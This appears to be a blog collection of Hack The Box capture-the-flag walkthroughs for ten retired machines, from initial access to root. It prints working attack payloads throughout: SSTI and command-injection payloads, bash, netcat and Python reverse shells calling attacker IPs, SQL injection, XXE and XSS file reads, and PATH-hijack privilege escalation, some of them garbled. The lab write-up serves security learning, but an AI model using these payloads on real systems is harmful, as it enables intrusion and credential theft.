Because there already exists so many writeups on these retired boxes, I decided to just list the interesting boxes I’ve completed, and the general approach I took to solve them.
There are more boxes done than displayed here, because some of them were really simple (metasploit one-liner) and hence not really worth including.
Easy Boxes

nunchucks
User
- wfuzz to find subdomain
We find the page store.nunchucks.htb
- SSTI
When entering the email, its vulnerable to SSTI
http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine
Enter as email {{range.constructor("return global.process.mainModule.require('child_process').execSync('cat /home/david/user.txt')")()}}@email.com
- SSH
- Enter as email
{{range.constructor("return global.process.mainModule.require('child_process').execSync('mkdir /home/david/.ssh')")()}}@email.com
- Enter as email
{{range.constructor("return global.process.mainModule.require('child_process').execSync('touch /home/david/.ssh/authorized_keys')")()}}@email.com
- Enter as email
{{range.constructor("return global.process.mainModule.require('child_process').execSync('echo >> /home/david/.ssh/authorized_keys')")()}}@email.com
Root
Find /opt/backup.pl
, and it runs POSIX::setuid(0);
, which means that perl has setuid
capabilities
https://gtfobins.github.io/gtfobins/perl/#capabilities
but this fails. We find an AppArmor bug instead
https://bugs.launchpad.net/apparmor/+bug/1911431
#!/usr/bin/perl
use POSIX qw(strftime);
use POSIX qw(setuid);
POSIX::setuid(0);
exec "cat /root/root.txt"
$ ./a.pl

secret
User
- Get the token for JWT signing
- download the entire folder
- git log
- git checkout the suspicious one
- get the keys
- theadmin
looking at the code, it only checks for the value 'name':'theadmin'
to be authenticated as admin
craft a jwt with the value 'name':'theadmin'
and sign it with the key found earlier
- /api/logs
looking at the source code, we see the any requests to /api/logs?file=
will execute a shell command
we can inject commands by sending ;
url encode a reverse shell, and we get a connection as dasith
cat /home/dasith/user.txt
Root
- find SUID
$ find / -perm -u=s -type f 2>/dev/null
$ /opt/count
/opt/count
reads a file and prints the count of words/lines
- Trigger a crash
we see that valgrind does crash report analysis
the run /opt/count
and read in /root/root.txt
and trigger a crash
$ ps aux | grep count
$ kill -BUS
the crash data is located at /var/crash/_opt_count.1000.crash
- getting data from the crash
$ apport-unpack _opt_count.1000.crash /tmp/crashed
$ cd /tmp/crash
$ strings CoreDump
find the root flag value in the CoreDump

antique
User
- nmap TCP UDP
TCP: 23
UDP: 161
- SNMP Exploit
Connecting via telnet, we see that its running HP JetDirect, which has a vulnerability that allows passwords to be exfiltrated through SNMP
snmpwalk -v 2c -c public .1.3.6.1.4.1.11.2.3.9.1.1.13.0
Decode the hex, and you get the password for telnet
- telnet exec reverse shell
Once in telnet, you can exec commands, and read the user flag, or create a reverse shell connection
Root
- Port Forwarding
We see a service running on port 631
Use chisel
to port forward
Attacker
sudo ./chisel server -p 8000 --reverse
Victim
./chisel client :8000 R:631:127.0.0.1:631
- CUPS vulnerability
Under Administrator->View Error Log
, it reads whatever file is set as ErrorLog at the back end
cupsctl ErrorLog="/root/root.txt"

horizontall
User
- enumerate subdomains
`wfuzz -w /subdomains-top1million-110000.txt -u http://horizontall.htb/ -hc 301 -v -c -H "Host: FUZZ.horizontall.htb"
We find api-prod.horizontall.htb
- enumerating subdirectories
gobuster dir -u api-prod.horizontall.htb -w /usr/share/wordlists/dirb/common.txt
We get /admin
as a subdirectoy, and going to it, we get redirected to /login
- RCE 1 – Reset Password
https://www.exploit-db.com/exploits/50239
This exploit allows you to reset the password for the user admin
, and set it to SuperStringPassword1
- Logging in as admin and RCE 2
https://www.exploit-db.com/exploits/50238
This exploit requires the JWT generated by RCE, and it allows you to perform RCE.
Naturally, we call a reverse shell
python3 rce2.py http://api-prod.horizontall.htb eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjM2NzY5MzQzLCJleHAiOjE2MzkzNjEzNDN9.u0Myxy4hAQoKjzE3UXx4YOVH27yGnGFtsEdBxScn9j8 "bash -c 'bash -i >& /dev/tcp/10.10.14.2/9998 >&1'" 10.10.14.2
With this shell, we can get the user flag
Root
- Get listening services
ss -tuan | grep LISTEN
We see that a service is running on port 8000
- Port Forwarding
We port forward it to our attacker machine.
On the attacker machine, we copy our public key over to the victim machine, and put it in ~/.ssh/authorized_keys
We then run
ssh -i key -L 8000:127.0.0.1:8000 strapi@horizontall.htb
- RCE 3
Going to localhost:8000 on our attacker machine, we can see the service running of port 8000 on the victim machine
We see that it’s Larvarel v8, which has an RCE
https://github.com/nth347/CVE-2021-3129_exploit
`./exploit.py http://localhost:8000 Monolog/RCE1 "cat /root/root.txt"

previse
User
- gobuster to discover directories and find php files
gobuster dir -x php -u 10.10.11.104 -w /usr/share/wordlists/dirb/common.txt
http://previse.htb/login.php (Status: 200) [Size: 2224]
http://previse.htb/header.php (Status: 200) [Size: 980]
http://previse.htb/nav.php (Status: 200) [Size: 1248]
http://previse.htb/download.php (Status: 302) [Size: 0] [--> login.php]
http://previse.htb/index.php (Status: 302) [Size: 2801] [--> login.php]
http://previse.htb/footer.php (Status: 200) [Size: 217]
http://previse.htb/files.php (Status: 302) [Size: 4914] [--> login.php]
http://previse.htb/css (Status: 301) [Size: 308] [--> http://previse.htb/css/]
http://previse.htb/status.php (Status: 302) [Size: 2968] [--> login.php]
http://previse.htb/js (Status: 301) [Size: 307] [--> http://previse.htb/js/]
http://previse.htb/logout.php (Status: 302) [Size: 0] [--> login.php]
http://previse.htb/accounts.php (Status: 302) [Size: 3994] [--> login.php]
http://previse.htb/config.php (Status: 200) [Size: 0]
http://previse.htb/logs.php (Status: 302) [Size: 0] [--> login.php]
http://previse.htb/server-status (Status: 403) [Size: 276]
we see a few php files, most of them with status 302, which is a redirect.
- posting a request with while disallowing redirect
looking at the account.php, we can send a post request to add an account
import requests
url = "http://10.10.11.104/accounts.php"
data = {
'username':'aaaaaa',
'password':'aaaaaa',
'confirm':'aaaaaa'
}
r = requests.post(url, data=data, allow_redirects=False)
print(r.text)
- downloading the siteback up and reverse shell
Once we are able to login, we can download the site backup with all the files on the site. We see this file called logs.php
, and it accepts a post request, followed by an exec with the POST variable delim
;1|nc 10.10.14.19 1337 >;/tmp/f"
data = {
'delim':"; " + shell
}
r = requests.post(url, data=data, headers=headers)
- MySQL db and hashcat
In the site back up, we also see a file config.php
, which contains the database credentials.
Within our shell, we can login to MySQL locally, and extract the password
> mysql -u previse -p
Enter password: mySQL_p@ssw0rd!:)
select * from accounts;
id username password created_at
1 m4lwhere $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. 2021-05-27 18:18:36
using hashcast, we can crack the password
> cat $1$🧂llol$DQpmdvnb7EeuO6UaqRItf > hash
> hashcat -a 0 -m 500 hash /usr/share/wordlists/rockyou.txt
Using that password, we ssh into the server and get the user flag
ssh m4lwhere@10.10.11.104
...
cat user.txt
Root
Once in as the user, we see that we can execute /opt/scripts/access_backups.sh
upon inspection, it calls a date
binary
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log> /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
We can inject the binary with our own, by creating a binary and adding it to our path
> echo "cp /root/root.txt /home/m4lwhere/" > ~/date
> echo "chmod 777 /home/m4lwhere/root.txt">> ~/date
> export PATH=/home/m4lwhere:$PATH
> sudo ./access_backups.sh
> cat /home/m4lwhere/root.txt
This way, the script searches our directory /home/m4lwhere
for any binaries named date
, and executes it.

bountyhunter
User
- Find the upload page
http://10.10.11.100/log_submit.php
- When we submit a form, we see that it sends a POST request to
http://10.10.11.100/tracker_diRbPr00f314.php
- We also observe the data that was sent over, which is a base64 encoding of an XML file
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5hPC90aXRsZT4KCQk8Y3dlPmE8L2N3ZT4KCQk8Y3Zzcz5hPC9jdnNzPgoJCTxyZXdhcmQ+YTwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg==
a
a
a
a
- From this, we can craft our own XML files and send it directly to
http://10.10.11.100/tracker_diRbPr00f314.php
prints out all the users
---
<!DOCTYPE replace [ ]>
&ent;
a
a
a
get db.php file
---
<!DOCTYPE replace ]>
&ent;
a
a
a
After decoding the contents of db.php, we get a password
PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=
Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
Observing the contents of /etc/passwd
, we see that only these 2 accounts have bash shell enabled
- root
- development
We try to ssh into the server using development
and the password above
> ssh development@10.10.11.100
Get in and cat the flag.
Notes
It seems like we can’t directly LFI the contents of /home/development/user.txt
via the XML exploit due to read permissions. The server was probably under the user www-data
, while the permissions of user.txt
was o:root g:development
Root
After logging in to get the shell, we see that we can run this command as sudo
sudo -l
/usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Looking at the script, tldr, eval
is bad
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
We craft this file that prints the contents of root
# Skytrain Inc
## Ticket to
__Ticket Code:__
**25+1,print(open("/root/root.txt").read())

academy
User
- dirbust
Create a new account and dirbust the website. You will see admin.php
which you can’t access as a normal user.
- roleid = admin
When registering for a new account, use burpsuite to intercept the uploaded data and set roleid=1
to gain access to admin.php
- Leaky Laravel Key
Browsing the page and looking at Envrionment Variables
, we see that the Laravel APP_KEY is leaked. Using this, there is an exploit to achieve RCE and a reverse shell
https://www.exploit-db.com/exploits/47129
- Password reuse
Once on the machine, we cat .env
to get a password, which is reused by other accounts on the machine, specifically cry0lt3
su cry0lt3
- adm group
cry0lt3
is part of the adm
group, which allows him to read system logs under /var/log
Navigating to /var/log
, we can inspect the audit files using aureport --tty
which retrieves all information sent via TTY input
From there, we can sniff the password of mrb3n
and get the user flag
Root
- sudo composer
Running sudo -l
, we see that we can run composer
as sudo
Medium Boxes

magic
User
Login with simple SQL injection
import requests
url = "http://magic.htb/login.php"
data = {
'username':"admin' or 1=1; --",
'password':""
}
r = requests.post(url, data=data)
print(r.text)
Upload a malicious image file with php code injected into it.
You can do this via burpsuite to intercept the uploaded file, and add “ somewhere in the data
Name the file image.php.png
for the file to be evaluated as a PHP file.
Get a reverse shell with the URL encoded command bash -c 'bash -i >& /dev/tcp// >&1'
Once in, we see that MySQL database is installed, but the mysql
binary to interact with the database is missing.
However, we can interact with the database using the PHP mysql module.
setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ);
$stmt = $pdo->query("SELECT * FROM login");
$user = $stmt->fetch();
Database::disconnect();
foreach ($user as $value) {
echo $value;
echo "\n";
}
} catch (PDOException $e) {
echo "Error: " . $e->getMessage();
echo "An SQL Error occurred!";
}
?>
From this we get the user password and the flag
Root
SUID is allowed for /bin/sysinfo
We run ltrace
on it and find that it calls free
with no absolute path.
export PATH=~/:$PATH
and create our own free
binary to run commands as root, and get the root flag

book
User
SQL truncation attack to register admin@book.htb
and another password, and now we can login as admin
When the admin views collections of books, it uses html2pdf
to generate a PDF
We can submit a book with the name as a javascript to read local files
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
We see the user reader
, and we read his SSH key in the same manner
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///home/reader/.ssh/ids_rsa");x.send();
Now we can SSH in and get the user flag
Root
We run pspy64
and see logrotate running every few minutes.
There is an exploit with logrotate that we can leverage on
https://github.com/whotwagner/logrotten
payload: bash -i >& /dev/tcp/10.10.14.29/3333 0>&1
command: cp backups/access.log.1 backups/access.log; ./rotten -p payload /home/reader/backups/access.log
This returns a reverse connection from root, and we can read the root flag

obscurity
User
Leak the SuperSecretServer.py
via burpsuite interception, and modify the GET requests to http://obscurity.htb:8080/../SuperSecureServer.py
Command injection is possible via the path sent. We can trigger remote code execution, and thus a reverse shell with
GET /';s%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.29",3333))%3bos.dup2(s.fileno(),0)%3bos.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"]);' HTTP/1.1
Navigating to /home/robert
, we see SuperSecureCrypt.py
check.txt
becomes out.txt
when it is passed through this program. To reverse the key, we simply switch their positions
$ python3 SuperSecureCrypt.py -d -i out.txt -o /dev/shm/key -k 'Encrypting this file with your key should result in out.txt, make sure your key is correct!'
################################
# BEGINNING #
# SUPER SECURE ENCRYPTOR #
################################
############################
# FILE MODE #
############################
Opening file out.txt...
Decrypting...
Writing to /dev/shm/key...
$ cat /dev/shm/key
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich
Using the key alexandrovich
, we can do the same for passwordreminder.txt
and get the password for robert
Root
Going to /home/robert/BetterSSH/BetterSSH,py
, we see that it reads up /etc/shadow
, writes the content to /tmp/SSH/<random letters>
, and checks if the password you entered is equal to the hash value
This is a typical race condition, and we just need to run this script while executing BetterSSH.py
while true
do
cp /tmp/SSH/* /dev/shm/
done
After we got the hash of the root password, we crack it with hashcat
hashcat -m 1800 -a 0 hash /usr/share/wordlists/rockyou.txt
Switch to user root to get the root flag